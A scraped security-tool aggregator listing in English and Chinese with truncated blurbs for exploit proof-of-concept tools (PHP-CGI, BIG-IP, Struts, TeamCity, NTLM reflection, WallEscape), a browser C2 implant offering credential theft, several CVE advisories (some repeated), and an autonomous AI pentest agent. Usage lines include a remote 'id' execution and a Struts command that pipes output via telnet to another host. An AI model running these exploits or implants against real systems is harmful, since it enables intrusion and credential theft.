CVE-2024-4577

CVE-2024-4577 root@kitploit: usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments:...

ChromeAlone

ChromeAlone - 一个浏览器C2框架 这能给我带来什么？ ChromeAlone 是一种浏览器植入程序，可以替代传统植入程序（如 Cobalt Strike 或 Meterpreter）。本仓库提供一个简单的构建流程，生成管理控制台、部署基础设施，并创建一个在目标上运行的 powershell 侧加载脚本。 安装后，每个 ChromeAlone 植入程序将提供以下机制： 在主机上提供 SOCKS TCP 代理 浏览器会话窃取和凭据捕获 从 Chrome 启动主机上的可执行文件 针对物理安全令牌（如 YubiKeys 或 Titan Security Keys）的 WebAuth...

CVE-2026-57171 Trestle is vulnerable to arbitrary file write via path traversal in author generate commands (Incomplete fix of CVE-2026-46345)

Compliance-trestle Trestle is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions before 3.12.4 and versions 4.0.0 through 4.0.3, the catalog-generate, profile-generate, and ssp-generate author commands write generated Markdown to an attacker-influenced output...

CVE-2026-57171 Trestle is vulnerable to arbitrary file write via path traversal in author generate commands (Incomplete fix of CVE-2026-46345)

Compliance-trestle Trestle is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions before 3.12.4 and versions 4.0.0 through 4.0.3, the catalog-generate, profile-generate, and ssp-generate author commands write generated Markdown to an attacker-influenced output...

CVE-2024-28085

Wall-Escape CVE-2024-28085 util-linux 的 wall 命令未对命令行参数中的转义序列进行过滤。该漏洞代码于 2013 年在提交 cdd3cc7fa4 中被引入。自此之后的所有版本均受影响。完整报告可在此处查看：报告。我将此漏洞命名为 "WallEscape"。 该利用代码已在 Ubuntu 22.04 默认配置下成功窃取密码。 配置 请确保 throw.c 中的背景颜色和用户名设置为适当的值。 构建与运行 攻击设置 root@kitploit: git clone...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 的检查与利用 安装： root@kitploit: python3 -m pip install -r requirements.txt 用法 单个： root@kitploit: python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' 批量： root@kitploit: python3 cve.py m...

CVE-2026-57170 Trestle SSTI in Jinja2 include tags allows arbitrary code execution (Incomplete fix of CVE-2026-46439)

Compliance-trestle Trestle is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions prior to 3.12.4 and 4.0.0 through 4.0.3, the custom Jinja2 include tags mdsectioninclude and mdcleaninclude re-parse the content of an included Markdown file as Jinja2 template co...

CVE-2026-57170 Trestle SSTI in Jinja2 include tags allows arbitrary code execution (Incomplete fix of CVE-2026-46439)

Compliance-trestle Trestle is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions prior to 3.12.4 and 4.0.0 through 4.0.3, the custom Jinja2 include tags mdsectioninclude and mdcleaninclude re-parse the content of an included Markdown file as Jinja2 template co...

CVE-2026-80138

ClipBucket V5's web installer fails to properly validate or escape the phpclifilepath parameter before passing it to shell execution. Unauthenticated attackers can submit a crafted POST request to the installer with a malicious phpclifilepath value to execute arbitrary commands as the web server...

CVE-2026-79911

A security vulnerability has been detected in TOTOLINK N600R 4.3.0cu.7647B20210106. The affected element is the function setSystemConfig of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. Such manipulation of the argument Hostname leads to stack-based buffer overflow. It is possible t...

CVE-2026-79912

A vulnerability was detected in TOTOLINK N600R 4.3.0cu.7647B20210106. The impacted element is the function getCurrentTime of the file /cgi-bin/cstecgi.cgi. Performing a manipulation of the argument ntpserver results in command injection. The attack can be initiated remotely. The exploit is now...

CTF-CVE-2019-9053-GTFOBins

CTF, CVE-2019-9053, GTFOBins 我使用了 https://tryhackme.com/ 上的机器和我自己的 Kali on WSL 来做这个练习，这是CTF挑战的一部分。以下信息帮助我解决了这个挑战： vim 在 https://gtfobins.github.io/gtfobins/vim/ 和 https://gtfobins.github.io/ 上 sudoers 在 https://help.ubuntu.com/community/Sudoers 上 sudo 在...

CVE-2026-54757

Compliance-trestle Trestle is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions before 3.12.4 and versions 4.0.0 through 4.0.3, Trestle is vulnerable to server-side template injection that can lead to remote code execution. This occurs because the...

airecon

AI 驱动的自主渗透测试代理 -orange.svg AIRecon 是一个自主渗透测试代理，它结合了自托管的 Ollama LLM 与 Kali Linux Docker 沙箱 、原生的 Caido 代理集成 、结构化的 RECON → ANALYSIS → EXPLOIT → REPORT 流程，以及实时的 Textual TUI ——完全离线，无需 API 密钥。 为什么选择 AIRecon？ 基于商业 API 的模型（OpenAI GPT-4、Claude、Gemini）对于递归、自主的侦察工作流来说成本高昂，每会话可能需要数千次 LLM 调用。 AIRecon...

CVE-2025-33073

CVE-2025-33073 针对NTLM反射SMB漏洞的PoC利用程序。 所有功劳归功于官方研究： https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 先决条件 操作系统：Kali Linux（已预装大多数软件包）。 NetExec NXC - https://github.com/Pennyw0rth/NetExec impacket-ntlmrelayx dnstool.py（包含在仓库...

ironcurtain

IronCurtain 一个用于自主AI代理的安全运行时，其安全策略源自人类可读的章程。 当有人写"安全"时，你应该立即持怀疑态度。我们所说的安全是什么意思？ !WARNING 研究原型。 IronCurtain 是一个早期研究项目，探索如何使AI代理足够安全以真正有用。API、配置格式和架构可能会发生变化。欢迎贡献和反馈。 演示 代理被要求克隆一个仓库并推送更改。gitclone 和 gitpush 都被策略引擎升级，但自动审批器自动批准了它们——用户来自命令模式的可信输入（Ctrl-A）提供了明确的意图，因此无需手动 /approve。 问题...

cve-2024-56348

JetBrains TeamCity 认证绕过 + RCE CVE-2024-56348 PoC 📜 描述 CVE-2024-56348 是一个严重的认证绕过漏洞，影响 JetBrains TeamCity 本地部署 所有早于 2024.12 的版本。REST API 错误地处理包含 ;.jsp 的路径请求，允许未经认证的攻击者像完全认证用户一样调用任意 REST 端点。 此漏洞利用将绕过与 TeamCity 自身的 REST API 结合，创建一个 SYSTEMADMIN 账户，生成 API 令牌，并实现 完全远程代码执行 — 通过内置调试端点或动态上传的 JSP 插件...

CVE-2017-5638

CVE: 2017-5638 - Apache Struts2 S2-045 的 PoC 你好！我重构了原始脚本，改用 requests 库，其他库给我带来了一些错误。希望它对你有帮助！ 使用方法: python3 cve-2017-5638 url cmd-command...

-CVE-2017-9805-

漏洞信息 资源： https://vulners.com/cve/CVE-2017-9805 这是什么？ 一个 Python 漏洞利用脚本，能够在托管易受 S2-052 攻击的 Struts2 系统上远程执行 shell 命令。 用法 python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" root@kitploit: Apache Struts XStream REST vulnerability - S2-052...

CVE-2026-54757

Compliance-trestle Trestle is a Python SDK and command-line tool for managing OSCAL compliance documents. In versions before 3.12.4 and versions 4.0.0 through 4.0.3, Trestle is vulnerable to server-side template injection that can lead to remote code execution. This occurs because the...